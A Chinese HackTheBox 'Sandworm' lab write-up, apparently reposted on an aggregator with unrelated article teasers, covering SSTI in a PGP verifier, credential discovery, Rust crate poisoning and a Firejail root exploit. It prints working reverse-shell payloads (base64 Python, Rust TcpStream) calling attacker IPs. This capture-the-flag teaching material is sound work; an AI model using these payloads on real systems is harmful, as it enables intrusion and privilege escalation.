HackTheBox - Medium - Linux - Sandworm (我的创作纪念日

Sandworm

Sandworm 是一台中等难度的 Linux 机器,它托管了一个具有“PGP”验证服务的 Web 应用程序,该服务容易受到服务器端模板注入 (SSTI) 的攻击,导致“Firejail”监狱内的远程代码执行 (RCE)。可以在监狱中发现明文凭据,这会导致作为计算机用户之一对计算机进行“SSH”访问。从那里,发现了一个 cronjob,它编译并运行一个“Rust”二进制文件。该程序依赖于一个自定义的外部日志记录箱,用户对该箱具有写入权限,然后使用该箱作为运行 cronjob 的“atlas”用户获取 shell。最后,最近的“Firejail”漏洞(“CVE-2022-31214”)用于创建一个沙盒,攻击者可以在其中运行“su”命令并在目标系统上获取“root”shell。


外部信息收集

端口扫描

循例nmap

file

Web枚举

访问80跳转到ssa.htb

file

我看到网站底部有一个熟悉的flask

file

在contact有一个表单,用于提交pgp加密的消息,它似乎会回复我们,接着看

在/guide是一个pgp加解密器

file

/pgp给了我们public key

file

将公钥保存到本地

将公钥导入

file

再用gpg利用公钥加密我们自定义的消息

file

已经知道是flask了,所以应该考虑ssti,通过decrypt尝试ssti发现不行

file

SSTI

验证签名处,我们可以生成key然后使用公钥解密签名,在生成key的时候嵌入ssti payload

file

然后再使用这个公钥对消息进行签名

file

将公钥导出

file

将公钥和签名提交到网站

它payload成功被执行了

file

hacktricks随便来个ssti payload

{{ cycler.__init__.__globals__.os.popen('id').read() }}

file

来个python3 reverse shell payload,base64一下

file

最终ssti payload

{{ cycler.__init__.__globals__.os.popen('echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjE4Iiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiL2Jpbi9iYXNoIikn | base64 -d | bash').read() }}

file

nc监听,它如期而至

file

但这个shell似乎有点问题,无法回车,我们只需要升级一下这个shell

ctrl + z
stty raw -echo;fg

file

但这个shell是受限制的,能做的事情很有限

本地横向移动 -> silentobserver

在家目录的.config目录下的httpie/里面我们能够找到一个admin.json文件

atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat ./admin.json
{"__meta__": {"about": "HTTPie session file","help": "https://httpie.io/docs#sessions","httpie": "2.6.0"},"auth": {"password": "quietLiketheWind22","type": null,"username": "silentobserver"},"cookies": {"session": {"expires": null,"path": "/","secure": false,"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"}},"headers": {"Accept": "application/json, */*;q=0.5"}
}

这组凭据能够直接登录ssh,同时拿到user flag

file

获得不受限制的shell -> atlas

传个pspy过去

file

2023/12/21 08:26:01 CMD: UID=0     PID=3784   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=0     PID=3783   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3786   | /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3787   | /usr/bin/cargo run --offline 
2023/12/21 08:26:01 CMD: UID=1000  PID=3788   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/12/21 08:26:01 CMD: UID=1000  PID=3790   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/12/21 08:26:01 CMD: UID=1000  PID=3792   | /usr/bin/cargo run --offline 
2023/12/21 08:26:11 CMD: UID=0     PID=3796   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:26:11 CMD: UID=0     PID=3797   | /bin/rm -r /opt/crates 
2023/12/21 08:26:11 CMD: UID=0     PID=3798   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:26:11 CMD: UID=0     PID=3799   | /usr/bin/chmod u+s /opt/tipnet/target/debug/tipnet 
2023/12/21 08:28:01 CMD: UID=0     PID=3807   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3806   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3808   | /usr/sbin/CRON -f -P 
2023/12/21 08:28:01 CMD: UID=0     PID=3809   | sleep 10 
2023/12/21 08:28:01 CMD: UID=0     PID=3812   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=0     PID=3810   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=0     PID=3813   | /bin/sudo -u atlas /usr/bin/cargo run --offline 
2023/12/21 08:28:01 CMD: UID=1000  PID=3814   | rustc -vV 
2023/12/21 08:28:01 CMD: UID=1000  PID=3815   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro -Csplit-debuginfo=packed 
2023/12/21 08:28:01 CMD: UID=1000  PID=3817   | rustc - --crate-name ___ --print=file-names --crate-type bin --crate-type rlib --crate-type dylib --crate-type cdylib --crate-type staticlib --crate-type proc-macro --print=sysroot --print=cfg 
2023/12/21 08:28:02 CMD: UID=1000  PID=3819   | rustc -vV 
2023/12/21 08:28:11 CMD: UID=0     PID=3823   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:28:11 CMD: UID=0     PID=3824   | 
2023/12/21 08:28:11 CMD: UID=0     PID=3825   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:28:11 CMD: UID=0     PID=3826   | /bin/bash /root/Cleanup/clean_c.sh 
2023/12/21 08:30:01 CMD: UID=0     PID=3833   | /usr/sbin/CRON -f -P 

在/opt下我们可以找到它们

我们无权修改main.rs,但是通过cargo.toml发现它调用的logger模块是在/opt/crates下的

file

lib.rs可写

file

将rust reverse shell payload拿下来改一改

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};fn main() {let s = TcpStream::connect("10.0.0.1:4242").unwrap();let fd = s.as_raw_fd();Command::new("/bin/sh").arg("-i").stdin(unsafe { Stdio::from_raw_fd(fd) }).stdout(unsafe { Stdio::from_raw_fd(fd) }).stderr(unsafe { Stdio::from_raw_fd(fd) }).spawn().unwrap().wait().unwrap();
}

把shellcode改到lib.rs的log函数中,当main那边调用log函数时,我们的nc应该会收到shell

file

file

本地权限提升 - CVE-2022-31214

我们在atlas的不受限制的shell中发现了一个新的组,查找一下有关该组的目录和文件

file

don’t upgrade

升级一下shell

file

但是我发现使用pty之后,shell似乎又变得受限了,所以重新获取了一次shell

可以看到firejail版本是0.9.68,并且还有root的suid

file

file

在谷歌搜索版本相关的漏洞能够找到一篇文章

file

这个cve能够帮助我们利用其来进行权限提升,并且还提供了exp

file

先通过常规操作向atlas用户写入ssh key,然后通过ssh登录,签名的reverse shell先不要关

file

运行exp

file

在另一个atlas的shell下执行firejail --join

file

root flag在老地方

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/237634.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

12、Qt:用QProcess类启动外部程序:简单使用

一、说明 简单使用:在一个函数中,使用QProcess类的临时对象调用可执行文件exe,只有这个exe执行完了,这个函数才往下执行,一次性打印出exe所有输出信息;复杂使用:创建QProcess类的全局对象&…

STM32F4的DHT11初始化与实例分析

STM32—— DHT11 本文主要涉及STM32F4 的DHT11的使用以及相关时序的介绍,最后有工程下载地址。 文章目录 STM32—— DHT11一、 DHT11的介绍1.1 DHT11的经典电路 二、DHT11的通信2.1 DHT11的传输数据格式2.2 DHT11 通信分步解析 三、 DHT11 代码3.1 引脚图3.2 电路图…

阿里云林立翔:基于阿里云 GPU 的 AIGC 小规模训练优化方案

云布道师 本篇文章围绕生成式 AI 技术栈、生成式 AI 微调训练和性能分析、ECS GPU 实例为生成式 AI 提供算力保障、应用场景案例等相关话题展开。 生成式 AI 技术栈介绍 1、生成式 AI 爆发的历程 在 2022 年的下半年,业界迎来了生成式 AI 的全面爆发&#xff0c…

【接口测试】HTTP接口详细验证清单

概述 当我们在构建、测试、发布一套新的HTTP API时,包括我在内的大多数人都不知道他们所构建的每一个组件的复杂性和细微差别。 即使你对每一个组件都有深刻的理解,也可能会有太多的信息在你的脑海中出现。 以至于我们不可能一下把所有的信息进行梳理…

pycharm下执行conda命令提示无法识别解决方案

1 问题描述 win10环境命令行执行conda命令,报命令无法识别,错误信息如下: PS D:\code\cv> conda activate pt conda : 无法将“conda”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径&a…

python基础语法总结

基础是深入必不可少的,如果没有基础的支持,后面都是浮云,就像情侣之间,没有感情基础是不会有好结果的,物资基础是靠两个人打拼的,所以学习就像谈恋爱,两个人要学会沟通,才能修成正果…

循环神经网络中的梯度消失或梯度爆炸问题产生原因分析(二)

上一篇中讨论了一般性的原则,这里我们具体讨论通过时间反向传播(backpropagation through time,BPTT)的细节。我们将展示目标函数对于所有模型参数的梯度计算方法。 出于简单的目的,我们以一个没有偏置参数的循环神经…

在Linux环境下模拟实现命令解释器用c语言实现mypwd「粉丝答疑」

粉丝提问 Solution 要在 Linux 环境下用 C 语言模拟实现一个命令解释器,包含mypwd, mymkdir, myrmdir, mycd, mylist, mycp, mydate, mycreate, mydelete, exit等基本命令,需要按照以下步骤进行: 理解每个命令的功能: mypwd: 显示…

SQL---Zeppeline前驱记录与后驱记录查询

内容导航 类别内容导航机器学习机器学习算法应用场景与评价指标机器学习算法—分类机器学习算法—回归机器学习算法—聚类机器学习算法—异常检测机器学习算法—时间序列数据可视化数据可视化—折线图数据可视化—箱线图数据可视化—柱状图数据可视化—饼图、环形图、雷达图统…

RTP/RTCP/RTSP/SIP/SDP/RTMP对比

RTP(Real-time Transport Protocol)是一种用于实时传输音频和视频数据的协议。它位于传输层和应用层之间,主要负责对媒体数据进行分包、传输和定时。 RTCP(Real-Time Control Protocol)是 RTP 的控制协议,…

TrustZone之可信操作系统

有许多可信内核,包括商业和开源的。一个例子是OP-TEE,最初由ST-Ericsson开发,但现在是由Linaro托管的开源项目。OP-TEE提供了一个功能齐全的可信执行环境,您可以在OP-TEE项目网站上找到详细的描述。 OP-TEE的结构如下图所示&…

Windows 系统彻底卸载 SQL Server 通用方法

Windows 系统彻底卸载 SQL Server 通用方法 无论什么时候,SQL Server 的安装和卸载都是一件让我们头疼的事情。因为不管是 SQL Server 还是 MySQL 的数据库,当我们在使用数据库时因为未知原因出现问题,想要卸载重装时,如果数据库…

vue element plus 管理系统路由菜单简要设计(后端获取菜单)

1 需求 管理系统“菜单”由后端接口返回,前端需要根据后端返回的“菜单”数组,构造路由,渲染侧栏菜单有些菜单是子菜单,有对应的路由,但是不在侧栏显示(比如一些详情页面) 注:这里的…

Asp.Net Core 项目中常见中间件调用顺序

常用的 AspNetCore 项目中间件有这些,调用顺序如下图所示: 最后的 Endpoint 就是最终生成响应的中间件。 Configure调用如下: public void Configure(IApplicationBuilder app, IWebHostEnvironment env){if (env.IsDevelopment()){app.UseD…

LIGA-Stereo:为基于立体 3D 检测器的学习 LiDAR 几何感知表示

论文地址:https://openaccess.thecvf.com/content/ICCV2021/papers/Guo_LIGA-Stereo_Learning_LiDAR_Geometry_Aware_Representations_for_Stereo-Based_3D_Detector_ICCV_2021_paper.pdf 论文代码:https://github.com/xy-guo/LIGA-Stereo 摘要 基于立…

CloudCanal x Debezium 打造实时数据流动新范式

简述 Debezium 是一个开源的数据订阅工具,主要功能为捕获数据库变更事件发送到 Kafka。 CloudCanal 近期实现了从 Kafka 消费 Debezium 格式数据,将其 同步到 StarRocks、Doris、Elasticsearch、MongoDB、ClickHouse 等 12 种数据库和数仓,…

js 图片 手动上传,并回显

效果展示&#xff1a; 代码&#xff1a; <label for"avatarUpload"><div><img v-if"avatatImageUrl" :src"avatatImageUrl" class"avatar"><img v-else src"../../assets/images/account/avatar-upload.png…

vite 引入构建分析插件

yarn add rollup-plugin-visualizer vite.config.js里配置 plugins: [copy({targets: [{ src: node_modules/echarts/dist/component/echarts.min.js, dest: public/js }]}),visualizer({// 打包完成后自动打开浏览器&#xff0c;显示产物体积报告open: true,gzipSize: true,b…

图像识别与人工智能到底是何关系?有何区别?

图像识别是人工智能领域的一个重要应用领域&#xff0c;它利用人工智能技术和算法来分析和理解图像内容。图像识别是使计算机能够模拟和理解人类视觉系统的能力&#xff0c;并从图像中提取出有用的信息和特征。 人工智能在图像识别中扮演着至关重要的角色&#xff0c;主要体现…

ruoyi若依前后端分离版部署centos7服务器(全)

目录 VMware虚拟机 centos7 安装环境如下 一、msql 5.7 二、nginx1.23.3 三、java8 四、redis 3.2.1 五、部署若依前端 六、部署若依后端 前言 虚拟机的桥接与nat模式 : 重点 重点&#xff01;&#xff01;&#xff01; 无线不可以用桥接模式 &#xff0c;而你用了nat模式会…